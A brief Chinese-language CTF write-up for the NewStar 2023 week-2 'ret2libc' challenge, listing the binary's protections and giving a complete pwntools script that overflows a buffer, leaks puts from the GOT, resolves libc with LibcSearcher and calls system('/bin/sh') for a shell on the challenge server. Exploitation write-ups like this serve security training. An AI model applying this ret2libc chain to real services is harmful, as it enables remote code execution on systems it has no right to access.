newstar2023 week2 - ret2libc

RocketDev

文件分析

下载ret2libc, NX on, PIE off, Canary off, RELRO partial
ghidra分析为64位程序

解题思路

参考我的moectf2023和cbctf的wp,很常规的一题

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import LibcSearcher
from pwn import *
sh = remote('node4.buuoj.cn', 29167)
elf = ELF('ret2libc')

putsPlt = elf.plt['puts']
putsGot = elf.got['puts']
popRdiAddr = 0x400763
mainAddr = elf.symbols['main']

# payload 1
sh.sendline(b'0'*0x28 + p64(popRdiAddr) + p64(putsGot) + p64(putsPlt) + p64(mainAddr))

sh.recvuntil(b'time\n') # skip
data = sh.recv()
putsGotAddr = u64(data[:6] + b'\0\0')
libc = LibcSearcher.LibcSearcher('puts', putsGotAddr & 0xfff)
libcBase = putsGotAddr - libc.dump('puts')
shstrAddr = libcBase + libc.dump('str_bin_sh')
systemAddr = libcBase + libc.dump('system')
retAddr = 0x4006f1

# payload 2
sh.sendline(b'0'*0x28 + p64(popRdiAddr) + p64(shstrAddr) + p64(retAddr) + p64(systemAddr))

sh.interactive()

Done.

  • 标题: newstar2023 week2 - ret2libc
  • 作者: RocketDev
  • 创建于 : 2023-10-02 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/10/02/W2_ret2libc/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
newstar2023 week2 - ret2libc